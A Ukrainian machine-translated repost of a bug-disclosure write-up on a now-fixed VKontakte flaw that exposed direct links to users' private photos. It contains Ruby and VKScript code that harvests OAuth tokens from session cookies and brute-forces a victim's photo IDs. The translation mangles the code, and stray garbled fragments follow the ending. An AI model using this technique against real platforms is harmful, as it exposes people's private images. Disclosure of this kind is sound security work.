<
  • Главная
Статьи

Уразливість «ВКонтакте» дозволяла отримати прямі посилання на приватні фотографії

  1. Як працюють фотографії в ВК
  2. Прискорюємо перебір x25
  3. Прискорюємо перебір x25 * кількість паралельних запитів в секунду
  4. підсумки

tl; dr

Була виявлена ​​уразливість в закладках ВК, яка дозволяла отримувати прямі посилання на приватні фотографії з особистих повідомлень, альбомів будь-якого користувача / групи. Був написаний скрипт, який перебирав фотографії користувача за певний період і потім, через цю уразливість отримував прямі посилання на зображення. Якщо коротко, то: можна було за 1 хвилину отримати всі ваші вчорашні фотографії, за 7 хвилин - все фото, завантажені на минулого тижня, за 20 хвилин - минулий місяць, за 2 години - минулий рік. Уразливість на даний момент виправлена. Адміністрація ВКонтакте виплатила винагороду в 10к голосів.


Історія почалася з того, як мені в личку у «Вконтакте» кинули зображення. Зазвичай, якщо річ важлива, я її завантажую в хмару, але в моєму випадку в цьому не було необхідності, і я вирішив скористатися функцією закладок «Вконтакте».

Коротко про цю функціональність: в закладки додаються всі речі, які користувач лайкнув; також є функція ручного додавання посилання на користувача і внутрішньої посилання «ВКонтакте». Останній пункт мені видався дуже цікавим, так як після додавання посилання на фото я побачив його прев'юшки і текст з типом доданої суті:

При додаванні посилання сервер парсит її, намагається з'ясувати, на яку сутність вона посилається і дістає інформацію про цей об'єкт з бази. Як правило, при написанні такого роду функцій з безліччю умов ймовірність того, що розробник щось забуде, дуже висока. Тому я не зміг собі дозволити пройти повз і вирішив витратити кілька хвилин, щоб трохи поекспериментувати.
В результаті мені вдалося дещо знайти. При додаванні посилання на фотографію, замітку або відео, до яких немає доступу, можна було отримати трохи приватної інформації про об'єкт. У випадку з фото і відео - це маленька (150x150) прев'юшки, на якій досить складно що-небудь розгледіти, у приватних нотаток відображалося назва. Через метод API fave.getLinks можна було отримати посилання на зображення, але знову ж таки занадто маленького розміру (75px і 130px). Так що, по суті, нічого серйозного.
Я вирішив зайти на мобільну версію сайту, щоб перевірити, чи відображається там все так же, як і в звичайній версії. Заглянувши в код сторінки, я побачив це:

Так! У значенні атрибута data-src_big зберігалася пряме посилання на оригінал зображення!
Таким чином, можна було отримати пряме посилання на будь-яке зображення у «Вконтакте», незалежно від того, куди воно завантажувалося і які налаштування приватності мало. Це могло бути зображення з особистих повідомлень або ж фотографія з приватних альбомів будь-якого користувача / групи.
Здавалося б, на цьому можна було зупинитися і написати розробникам, але мені стало цікаво, чи можливо, експлуатуючи цю уразливість, отримати доступ до всіх (ну або завантаженим в певний період часу) фотографій користувача. Основною проблемою тут, як ви розумієте, було те, що не завжди відома посилання на приватну фотографію виду photoXXXXXX_XXXXXXX, яку потрібно додати в закладки. В голову прийшла думка про перебір id фотки, але я її чомусь тут же відкинув як божевільну. Я перевірив пов'язані з фотографіями методи в API, подивився, як додаток працює з альбомами, але ніяких витоків, які могли б мені допомогти отримати список з айдішкамі всіх закритих фоток користувача, знайти не вдалося. Я вже хотів було кинути цю затію, але поглянувши ще раз на посилання з фотографією, раптом зрозумів, що перебір таки був хорошою ідеєю.

Як працюють фотографії в ВК



Як ви могли замінити, посилання на фотографію photo52708106_359542386 складається з двох частин: (id користувача) _ (якесь незрозуміле число). Як же формується друга частина?
На жаль, але, витративши дві години експерименти, я так цього і не зрозумів. У 2012 році на HighLoad ++ Олег Ілларіонов сказав кілька слів про те, як вони зберігають фотографії, про горизонтальний шардінг і випадковий вибір сервера для завантаження, але ця інформація мені нічого не дала, так як між id сервера і id фотки ніякого зв'язку не видно. Зрозуміло, що є якийсь глобальний лічильник, але там є ще якась логіка ... Тому що якщо друге число формувалося б за допомогою звичайного автоінкремента, то значення айдішок фоток давно б уже досягли величезних значень (у фб, наприклад, на даний момент це ~ 700 трлн.), але у «Вконтакте» це значення лише ~ 400 млн (хоча, судячи зі статистики, щодня користувачі завантажують понад 30 млн фотографій). Тобто ясно, що цифра ця не унікальна, але при цьому і не рандомних. Я написав скриптик, який пройшовся по фотографіям «старих» користувачів і за отриманими даними склав графік того, на скільки змінювалася ця цифра з кожним роком:

Видно, що значення скачуть в залежності від якихось чинників (кількості серверів або нової логіки?). Але суть в тому, що вони досить малі (особливо за останні 2-3 роки) і дуже легко вирахувати діапазон id для бажаного періоду часу. Тобто щоб дізнатися прямі посилання на фотки користувача, припустимо, за минулий рік, потрібно спробувати додати в закладки всього лише 30 млн (від _320000000 до _350000000) різних варіацій посилань! Нижче я описав техніку перебору, яка дозволила мені зробити це за лічені хвилини.

перебираємо фотографії


Можна було все це додавати руками через інтерфейс або ж написати скрипт, який додає по одному посиланню в закладки, але це було б нудно і довго. Швидкість перебору в такому випадку склала б 3 закладки в секунду, тому що більше трьох запитів в секунду на сервер «Вконтакте» відправляти не можна .

Прискорюємо перебір x25


Щоб хоч трохи обійти обмеження в 3 запити, я вирішив скористатися методом execute . В одному виклику цього методу можливо 25 звернень до методів API.
var start = parseInt (Args.start); var end = parseInt (Args.end); var victimId = Args.id; var link = "http://vk.com/photo" + victimId + "_"; while (start! = end) {API.fave.addLink ({ "link": link + start}); start = start + 1; };
У такий спосіб вдалося підвищити швидкість брутфорса до 3 * 25 закладок / сек. За минулий рік фотографії перебиралися б довго, але ось для коротких проміжків цей метод перебору вже був досить-таки непоганий.

Прискорюємо перебір x25 * кількість паралельних запитів в секунду


Обмеження на кількість запитів / сек діє на кожен додаток окремо, а не на користувача цілком. Так що нічого не заважає відправляти паралельно багато запитів, але при цьому використовуючи в них токени від різних додатків.
Для початку потрібно було знайти (або створити) потрібну кількість додатків. Був написаний скрипт, який шукає standalone додатки в заданому інтервалі ідентифікаторів додатків:
class StandaloneAppsFinder attr_reader: app_ids def initialize (params) @range = params [: in_range] @app_ids = [] end def search (@range) .each do | app_id | response = open ( "https://api.vk.com/method/apps.get?app_id=#{app_id}") .read app = JSON.parse (response) [ 'response'] app_ids << app_id if standalone ? (app) end end private def standalone? (app_data) app_data [ 'type'] == 'standalone' end end
Можна було ще відбирати додатки за кількістю користувачів, щоб ще більше прискорити подальший перебір:
Якщо додаток встановило менше 10 000 чоловік, то можна здійснювати 5 запитів в секунду, до 100 000 - 8 запитів, до 1 000 000 - 20 запитів, більше 1 млн. - 35 запитів в секунду.
[Обмеження та рекомендації]

Але вирішив з цим не морочитися.
Ок, додатки знайдені, тепер їм потрібно дати дозвіл до даних нашого користувача і отримати токени. Для авторизації довелося використовувати механізм Implicit Flow. Довелося парсити урл авторизації з діалогу OAuth і після редиректу витягувати токен. Для роботи даного класу потрібні куки p, l (login.vk.com) і remixsid (vk.com):
class Authenticator attr_reader: access_tokens def initialize (cookie_header) @cookies = { 'Cookie' => cookie_header} @access_tokens = [] end def authorize_apps (apps) apps.each do | app_id | auth_url = extract_auth_url_from (oauth_page (app_id)) redirect_url = open (auth_url, @cookies) .base_uri.to_s access_tokens << extract_token_from (redirect_url) end end private def extract_auth_url_from (oauth_page_html) Nokogiri :: HTML (oauth_page_html) .css ( 'form' ) .attr ( 'action'). value end def extract_token_from (url) URI (url) .fragment [13..97] end def oauth_page (app_id) open (oauth_page_url (app_id), @cookies) .read end def oauth_page_url ( app_id) "https://oauth.vk.com/authorize?" + "Client_id = # {app_id} &" + "response_type = token &" + "display = mobile &" + "scope = 474367" end end
Скільки додатків знайдено, стільки і паралельних запитів. Для розпаралелювання всієї цієї справи було вирішено використовувати гем Typhoeus , Який відмінно зарекомендував себе в інших завданнях. Вийшов такий ось невеликий брутфорсер:
class PhotosBruteforcer PHOTOS_ID_BY_PERIOD = { 'today' => 366300000..366500000, 'yesterday' => 366050000..366300000, 'current_month' => 365000000..366500000, 'last_month' => 360000000..365000000, 'current_year' => 350000000..366500000, 'last_year' => 320000000..350000000} def initialize (params) @victim_id = params [: victim_id] @period = PHOTOS_ID_BY_PERIOD [params [: period]] end def run (tokens) hydra = Typhoeus :: Hydra.new tokensIterator = 0 (@period) .step (25) do | photo_id | url = "https://api.vk.com/method/execute?access_token=#{tokens[tokensIterator]}&code=#{vkscript(photo_id)}" encoded_url = URI.escape (url) .gsub ( '+' , '% 2B'). delete ( "\ n") tokensIterator = tokensIterator == tokens.count - 1? 0: tokensIterator + 1 hydra.queue Typhoeus :: Request.new encoded_url hydra.run if tokensIterator.zero? end hydra.run unless hydra.queued_requests.count.zero? end private def vkscript (photo_id) << - VKScript var start = # {photo_id}; var end = # {photo_id + 25}; var link = "http://vk.com/photo#{@victim_id}" + "_"; while (start! = end) {API.fave.addLink ({ "link": link + start}); start = start + 1; }; return start; VKScript end end
Щоб ще більше прискорити брутфорс, була спроба позбутися від непотрібного тіла у відповіді, але на HEAD запит сервер «Вконтакте» повертає помилку 501 Not implemented.
Остаточна версія скрипта виглядає так:
require 'nokogiri' require 'open-uri' require 'typhoeus' require 'json' require './standalone_apps_finder' require './photos_bruteforcer' require './authenticator' bruteforcer = PhotosBruteforcer.new (victim_id: ARGV [0], period : ARGV [1]) apps_finder = StandaloneAppsFinder.new (in_range: 4800000..4800500) apps_finder.search # p, l - cookies from login.vk.com # remixsid - cookie from vk.com authenticator = Authenticator.new ( 'p =; '+' l =; '+' remixsid =; ') authenticator.authorize_apps (apps_finder.app_ids) bruteforcer.run (authenticator.access_tokens)
Після відпрацювання програми в закладках були всі фотографії користувача за заданий період. Залишалося тільки зайти в мобільну версію «Вконтакте», відкрити консоль браузера, витягнути прямі посилання і насолоджуватися фотографіями в їх оригінальному розмірі.

підсумки


В цілому, все залежить від вашого інтернет з'єднання та швидкості проксі серверів, латенсі серверів «Вконтакте», потужності процесора і безлічі інших чинників. Випробувавши скрипт вище на своєму акаунті, отримав такі ось цифри (без урахування часу, витраченого на отримання токенов):
Період Час (хвилини) Вчора 0.84 Минулий тиждень 6.9 Минулий місяць 18.3 Минулий рік 121.1 3 останні роки 312.5
У таблиці показано середній час, необхідний для того, щоб перепробувати id фотографій за певний період. Я впевнений, все це можна було прискорити раз так в 10-20. Наприклад, в скрипті брутфорса зробити одну велику чергу з усіх запитів і нормальну синхронізацію між ними, тому що в моїй реалізації один запит з timeout буде гальмувати весь процес. Та й взагалі, можна було просто купити парочку інстанси на EC2, і за годинку отримати всі фотографії якого завгодно користувача. Але я вже хотів спати.
Та й взагалі, не має значення, скільки часу зловмисник на це витратить 5 годин або ж цілий день, адже так чи інакше посилання на приватні зображення він добуде. Можливість залізно отримати доступ до приватної інформації за кінцевий час - і є головна загроза, яку несе ця вразливість.

Повідомляємо про уразливість


Спочатку репорт був відправлений службі підтримки, але після відповіді типу «спасибі, як-небудь пофиксил напевно ...» і тижні очікування, мені щось стало сумно. Дуже дякую Bo0oM , Який допоміг зв'язатися з розробниками напряму. Після цього баги закрили протягом декількох годин, а через кілька днів на мій рахунок адміністрація перевела винагороду в розмірі 10к голосів .

Цілеспрямовано дослідженням ВК я ніколи не займався, але після такого, майже випадкового виявлення цієї уразливості серйозно почав замислюватися про те, щоб витратити кілька годин на повноцінний аудит цієї соціальної мережі. У «ВКонтакте» немає офіційної баг баунти програми, тому whitehat ресерчери обходять цей сайт стороною, а інші, менш «білі» хакери, просто тихо користуються помилками в своїх цілях, або продають їх. Так що, думаю, ще парочку подібних вразливостей в ВК можна знайти.
Всім добра!Як же формується друга частина?
Кількості серверів або нової логіки?
Get?
Parse (response) [ 'response'] app_ids << app_id if standalone ?
App) end end private def standalone?
Com/authorize?
Com/method/execute?
Count - 1?
Zero?
Zero?


Новости
    Без плагина
    На сайте WordPress имеется файл, именуемый как .htaccess. Многие пользователи не предают ему особого внимания и не используют все его возможности. На самом деле файл .htaccess – это дополнительные конфигурации

    Плагин подписки wordpress
    Очень трудно найти один плагин подписки wordpress , который объединил бы в себе все виды подписок, которые так необходимы сайту. Именно поэтому я решил сделать подборку лучших плагинов, которые смогут

    Слайд-шоу с помощью плагина для WordPress UnPointZero Slider
    Плагин для cms WordPress UnPointZero Slider – новостной слайдер. Он отражает в форме слайд-шоу изображения со ссылками на ваши статьи и краткие выдержки оттуда. Его можно установить и на новостной сайт,

    Плагины для Wordpress
    С помощью этого плагина вы легко сможете интегрировать Google диск на ваш WordPress сайт или блог . Gravity Forms — лучший плагин для создания форм на WordPress, от самых простых (например, форма

    Подписки плагином JetPack: размещение и редакция формы подписки
    Вступление Здравствуйте! В этой статье я покажу, как использовать плагин JetPack для создания пользовательской формы подписки и как эту формы подписки плагином JetPack добавлять в статьи сайта, а при

    Чистка сайта WordPress плагином WP-optimize
    От автора Со временем использования система WordPress накапливает не нужные файлы, комментарии и неиспользуемые данные в базе данных. Эти файлы и данные создаются в процессе работы и нужны для этого,

    Возможности Jetpack плагина
    Вступление Возможности Jetpack плагина это более 30 функциональных модуля плагина, делающего его универсальным плагином WordPress, заменяющего аналогичные сторонние плагины. Jetpack один заменяет десятки

    Резервное копирование WordPress сайта без плагинов
    Вступление Резервное копирование WordPress это второе, что нужно научиться делать после установки WordPress. Можно сколько угодно говорить о безопасности сайта и его защите, но лучшего варианта защиты

    Плагины на приват для Майнкрафт ПЕ
    > > Плагины на приват для Майнкрафт ПЕ Порой всем нам хочется попробовать себя в роли администратора сервера и испытать эту ответственность, но, к сожалению, вы не всегда все знаете о создании

    Плагин WordPress Database Backup. Архивация базы данных блога на WordPress
    Привет друзья! Сегодня на очереди еще один простой, НО, необходимый и полезный плагин — плагин WordPress Database Backup , который с легкостью и самостоятельно произведет процесс, который научно называется:

  • Виртуальный хостинг

    Виртуальный хостинг. Возможности сервера распределяются в равной мере между всеми... 
    Читать полностью

  • Редизайн сайта

    Редизайн сайта – это полное либо частичное обновление дизайна существующего сайта.... 
    Читать полностью

  • Консалтинг, услуги контент-менеджера

    Сопровождение любых интернет ресурсов;- Знание HTML и CSS- Поиск и обновление контента;-... 
    Читать полностью

  • Трафик из соцсетей

    Сравнительно дешевый способ по сравнению с поисковым и контекстным видами раскрутки... 
    Читать полностью

  • Поисковая оптимизация

    Поисковая оптимизация (англ. search engine optimization, SEO) — поднятие позиций сайта в результатах... 
    Читать полностью